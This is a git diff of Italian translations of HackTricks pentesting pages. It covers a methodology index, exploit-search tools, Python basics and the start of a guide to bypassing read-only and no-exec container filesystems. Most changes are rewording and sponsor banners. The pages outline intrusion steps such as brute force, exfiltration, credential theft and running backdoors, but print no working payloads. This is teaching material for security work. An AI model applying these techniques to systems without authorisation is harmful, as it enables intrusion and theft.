**All'interno di questo libro troverai una guida per pentestare i servizi più comuni** (e altri meno comuni)**. Per favore, cerca nell'indice a sinistra la sezione** _**PENTESTING**_ **(i servizi sono ordinati per le loro porte predefinite).**
|
||||
|
||||
**Voglio fare una menzione speciale alla** [**parte Pentesting Web**](../network-services-pentesting/pentesting-web/) **(poiché è la più estesa).**\
|
||||
**Voglio fare una menzione speciale alla parte** [**Pentesting Web**](../network-services-pentesting/pentesting-web/) **(poiché è la più estesa).**\
|
||||
Inoltre, puoi trovare una piccola guida su come [**trovare vulnerabilità conosciute nel software**](search-exploits.md) qui.
|
||||
|
||||
**Se il tuo servizio non è nell'indice, cerca su Google** altri tutorial e **fammi sapere se vuoi che lo aggiunga.** Se **non trovi nulla** su Google, esegui il tuo **pentesting cieco**, potresti iniziare **connettendoti al servizio, fuzzing e leggendo le risposte** (se presenti).
|
||||
|
@ -68,7 +68,7 @@ Ci sono anche diversi strumenti che possono eseguire **valutazioni automatiche d
|
|||
|
||||
#### **5.2 Forzatura di servizi**
|
||||
|
||||
In alcuni scenari un **Brute-Force** potrebbe essere utile per **compromettere** un **servizio**. [**Trova qui un CheatSheet di forzature di servizi diversi**](brute-force.md)**.**
|
||||
In alcuni scenari una **Forzatura** potrebbe essere utile per **compromettere** un **servizio**. [**Trova qui un CheatSheet di diverse forzature di servizi**](brute-force.md)**.**
|
||||
|
||||
### 6- [Phishing](phishing-methodology/)
|
||||
|
||||
|
@ -86,7 +86,7 @@ Se hai problemi con la shell, puoi trovare qui una piccola **raccolta dei comand
|
|||
|
||||
* [**Linux**](../linux-hardening/useful-linux-commands/)
|
||||
* [**Windows (CMD)**](../windows-hardening/basic-cmd-for-pentesters.md)
|
||||
* [**Winodows (PS)**](../windows-hardening/basic-powershell-for-pentesters/)
|
||||
* [**Windows (PS)**](../windows-hardening/basic-powershell-for-pentesters/)
|
||||
|
||||
### **9 -** [**Esfiltrazione**](exfiltration.md)
|
||||
|
||||
|
@ -99,10 +99,10 @@ Se non sei **root/Administrator** all'interno del sistema, dovresti trovare un m
|
|||
Qui puoi trovare una **guida per aumentare i privilegi localmente in** [**Linux**](../linux-hardening/privilege-escalation/) **e in** [**Windows**](../windows-hardening/windows-local-privilege-escalation/)**.**\
|
||||
Dovresti anche controllare queste pagine su come funziona **Windows**:
|
||||
|
||||
- [**Autenticazione, Credenziali, Privilegi del Token e UAC**](../windows-hardening/authentication-credentials-uac-and-efs.md)
|
||||
- Come funziona **NTLM**](../windows-hardening/ntlm/)
|
||||
- Come [**rubare credenziali**](broken-reference/) in Windows
|
||||
- Alcuni trucchi su [_**Active Directory**_](../windows-hardening/active-directory-methodology/)
|
||||
* [**Autenticazione, Credenziali, Privilegi del Token e UAC**](../windows-hardening/authentication-credentials-uac-and-efs.md)
|
||||
* Come funziona **NTLM**](../windows-hardening/ntlm/)
|
||||
* Come **rubare credenziali**](broken-reference/) in Windows
|
||||
* Alcuni trucchi su [_**Active Directory**_](../windows-hardening/active-directory-methodology/)
|
||||
|
||||
**Non dimenticare di controllare i migliori strumenti per enumerare i percorsi di Escalazione Locale dei Privilegi in Windows e Linux:** [**Suite PEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)
|
||||
|
||||
|
@ -137,21 +137,21 @@ Controlla anche la pagina su [**NTLM**](../windows-hardening/ntlm/), potrebbe es
|
|||
|
||||
#### **Sfruttamento**
|
||||
|
||||
- [**Sfruttamento di Base su Linux**](../exploiting/linux-exploiting-basic-esp/)
|
||||
- [**Sfruttamento di Base su Windows**](../exploiting/windows-exploiting-basic-guide-oscp-lvl.md)
|
||||
- [**Strumenti di Sfruttamento di Base**](../exploiting/tools/)
|
||||
* [**Sfruttamento di Base su Linux**](../exploiting/linux-exploiting-basic-esp/)
|
||||
* [**Sfruttamento di Base su Windows**](../exploiting/windows-exploiting-basic-guide-oscp-lvl.md)
|
||||
* [**Strumenti di Sfruttamento di Base**](../exploiting/tools/)
|
||||
|
||||
#### [**Python di Base**](python/)
|
||||
|
||||
#### **Trucchi Crittografici**
|
||||
|
||||
- [**ECB**](../cryptography/electronic-code-book-ecb.md)
|
||||
- [**CBC-MAC**](../cryptography/cipher-block-chaining-cbc-mac-priv.md)
|
||||
- [**Padding Oracle**](../cryptography/padding-oracle-priv.md)
|
||||
* [**ECB**](../cryptography/electronic-code-book-ecb.md)
|
||||
* [**CBC-MAC**](../cryptography/cipher-block-chaining-cbc-mac-priv.md)
|
||||
* [**Padding Oracle**](../cryptography/padding-oracle-priv.md)
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Se sei interessato a una **carriera nell'hacking** e vuoi hackerare l'inviolabile - **stiamo assumendo!** (_richiesta competenza scritta e parlata in polacco_).
|
||||
Se sei interessato a una **carriera nell'hacking** e a hackerare l'inviolabile - **stiamo assumendo!** (_richiesta competenza in polacco scritto e parlato_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
@ -161,10 +161,10 @@ Se sei interessato a una **carriera nell'hacking** e vuoi hackerare l'inviolabil
|
|||
|
||||
Altri modi per supportare HackTricks:
|
||||
|
||||
- Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
- Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
- Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
- **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
- **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,19 +2,19 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Impara l'hacking su AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Altri modi per supportare HackTricks:
|
||||
|
||||
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT**](https://opensea.io/collection/the-peass-family) esclusivi
|
||||
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e ai repository di [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Usa [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) per costruire facilmente e **automatizzare flussi di lavoro** supportati dagli strumenti della comunità **più avanzati al mondo**.\
|
||||
|
@ -30,7 +30,7 @@ Ottieni l'accesso oggi:
|
|||
* [**Sintassi di base delle richieste web in Python**](web-requests.md)
|
||||
* [**Sintassi di base di Python e librerie**](basic-python.md)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Usa [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) per costruire facilmente e **automatizzare flussi di lavoro** supportati dagli strumenti della comunità **più avanzati al mondo**.\
|
||||
|
@ -40,14 +40,14 @@ Ottieni l'accesso oggi:
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Impara l'hacking su AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Altri modi per supportare HackTricks:
|
||||
|
||||
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT**](https://opensea.io/collection/the-peass-family) esclusivi
|
||||
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e ai repository di [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -10,14 +10,14 @@ Altri modi per supportare HackTricks:
|
|||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repository di github.
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Usa [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) per costruire facilmente e **automatizzare flussi di lavoro** supportati dagli strumenti della comunità **più avanzati al mondo**.\
|
||||
Usa [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) per costruire facilmente e **automatizzare flussi di lavoro** supportati dagli strumenti comunitari **più avanzati** al mondo.\
|
||||
Ottieni l'accesso oggi:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
@ -39,21 +39,21 @@ is fixed running
|
|||
pip3 install wheel
|
||||
inside the virtual environment
|
||||
```
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Usa [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) per creare facilmente e **automatizzare flussi di lavoro** supportati dagli strumenti della community **più avanzati al mondo**.\
|
||||
Usa [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) per creare facilmente e **automatizzare flussi di lavoro** supportati dagli strumenti della comunità **più avanzati al mondo**.\
|
||||
Ottieni l'accesso oggi:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Impara l'hacking su AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Altri modi per supportare HackTricks:
|
||||
|
||||
* Se desideri vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Se desideri vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
|
|
|
@ -10,14 +10,14 @@ Altri modi per supportare HackTricks:
|
|||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di Github.
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Usa [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) per costruire facilmente e **automatizzare flussi di lavoro** supportati dagli strumenti comunitari **più avanzati al mondo**.\
|
||||
Usa [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) per costruire facilmente e **automatizzare flussi di lavoro** supportati dagli strumenti della comunità più avanzati al mondo.\
|
||||
Ottieni l'accesso oggi:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
@ -117,24 +117,24 @@ return 1
|
|||
term = Terminal()
|
||||
term.cmdloop()
|
||||
```
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Usa [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) per creare facilmente e **automatizzare flussi di lavoro** supportati dagli strumenti della comunità **più avanzati al mondo**.\
|
||||
Utilizza [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) per creare facilmente e **automatizzare flussi di lavoro** supportati dagli strumenti della community **più avanzati al mondo**.\
|
||||
Ottieni l'accesso oggi:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Altri modi per supportare HackTricks:
|
||||
|
||||
* Se desideri vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repository di github.
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repository di Github.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -14,10 +14,10 @@ Altri modi per supportare HackTricks:
|
|||
|
||||
</details>
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Usa [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) per creare e **automatizzare facilmente flussi di lavoro** supportati dagli strumenti comunitari **più avanzati al mondo**.\
|
||||
Usa [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) per costruire e **automatizzare facilmente flussi di lavoro** supportati dagli strumenti comunitari **più avanzati al mondo**.\
|
||||
Ottieni l'accesso oggi:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
@ -26,7 +26,7 @@ Ottieni l'accesso oggi:
|
|||
|
||||
Cerca sempre in "google" o altri: **\<nome\_servizio> \[versione\] exploit**
|
||||
|
||||
Dovresti anche provare la **ricerca di exploit shodan** da [https://exploits.shodan.io/](https://exploits.shodan.io).
|
||||
Dovresti anche provare la **ricerca di exploit di shodan** da [https://exploits.shodan.io/](https://exploits.shodan.io).
|
||||
|
||||
### Searchsploit
|
||||
|
||||
|
@ -60,10 +60,10 @@ Puoi anche cercare nel database di Vulners: [https://vulners.com/](https://vulne
|
|||
|
||||
Questo cerca exploit in altri database: [https://sploitus.com/](https://sploitus.com)
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Utilizza [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) per creare e **automatizzare facilmente flussi di lavoro** supportati dagli strumenti della comunità più avanzati al mondo.\
|
||||
Utilizza [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) per creare e **automatizzare facilmente flussi di lavoro** supportati dagli strumenti della comunità più avanzati al mondo.\
|
||||
Ottieni l'accesso oggi:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
@ -74,10 +74,10 @@ Ottieni l'accesso oggi:
|
|||
|
||||
Altri modi per supportare HackTricks:
|
||||
|
||||
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Se desideri vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione esclusiva di [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repository di Github.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,4 +1,4 @@
|
|||
# Bypass delle protezioni del file system: sola lettura / no-exec / Distroless
|
||||
# Bypass protezioni FS: sola lettura / no-exec / Distroless
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -8,15 +8,15 @@ Altri modi per supportare HackTricks:
|
|||
|
||||
* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Ottieni il [**merchandising ufficiale PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
|
||||
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione esclusiva di [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Se sei interessato alla **carriera dell'hacking** e vuoi hackerare l'inattaccabile - **stiamo assumendo!** (_richiesta competenza polacca scritta e parlata_).
|
||||
Se sei interessato alla **carriera di hacking** e vuoi hackerare l'inviolabile - **stiamo assumendo!** (_richiesta competenza polacca scritta e parlata_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
@ -27,7 +27,7 @@ Nei seguenti video puoi trovare le tecniche menzionate in questa pagina spiegate
|
|||
* [**DEF CON 31 - Esplorazione della manipolazione della memoria Linux per furtività ed evasione**](https://www.youtube.com/watch?v=poHirez8jk4)
|
||||
* [**Intrusioni furtive con DDexec-ng & in-memory dlopen() - HackTricks Track 2023**](https://www.youtube.com/watch?v=VM\_gjjiARaU)
|
||||
|
||||
## Scenario di sola lettura / no-exec
|
||||
## Scenario sola lettura / no-exec
|
||||
|
||||
È sempre più comune trovare macchine Linux montate con **protezione del file system in sola lettura (ro)**, specialmente nei container. Questo perché eseguire un container con file system in sola lettura è semplice come impostare **`readOnlyRootFilesystem: true`** nel `securitycontext`:
|
||||
|
||||
|
@ -47,14 +47,14 @@ securityContext:
|
|||
Tuttavia, anche se il file system è montato come ro, **`/dev/shm`** sarà comunque scrivibile, quindi è falso che non possiamo scrivere nulla sul disco. Tuttavia, questa cartella sarà **montata con protezione no-exec**, quindi se scarichi un binario qui **non potrai eseguirlo**.
|
||||
|
||||
{% hint style="warning" %}
|
||||
Dal punto di vista di un red team, questo rende **complicato scaricare ed eseguire** binari che non sono già nel sistema (come backdoor o enumerator come `kubectl`).
|
||||
Dal punto di vista di un red team, questo rende **complicato scaricare ed eseguire** binari che non sono già nel sistema (come backdoor o enumeratori come `kubectl`).
|
||||
{% endhint %}
|
||||
|
||||
## Bypass più semplice: Script
|
||||
|
||||
Nota che ho menzionato binari, puoi **eseguire qualsiasi script** purché l'interprete sia presente nella macchina, come uno **script shell** se è presente `sh` o uno **script python** se è installato `python`.
|
||||
|
||||
Tuttavia, questo non è sufficiente per eseguire la tua backdoor binaria o altri strumenti binari che potresti aver bisogno di eseguire.
|
||||
Tuttavia, questo non è sufficiente per eseguire il tuo backdoor binario o altri strumenti binari che potresti aver bisogno di eseguire.
|
